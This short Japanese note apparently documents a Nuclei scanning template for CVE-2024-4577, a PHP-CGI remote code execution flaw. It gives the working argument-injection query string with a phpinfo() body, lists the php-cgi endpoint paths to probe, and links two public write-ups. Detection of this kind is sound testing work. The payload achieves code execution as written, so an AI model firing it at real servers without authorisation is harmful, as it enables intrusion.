CVE-2024-4577-nuclei

ペイロード:

?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input

<?php phpinfo(); ?>

テストURL:

/unfxu9a.php{{payload}}
/php-cgi/unfxu9a.php{{payload}}

/cgi-bin/php-cgi.exe{{payload}}
/php-cgi/php-cgi.exe{{payload}}
/php-cgi/php.exe{{payload}}
/cgi-bin/php.exe{{payload}}

---

参照:

• https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html
• https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/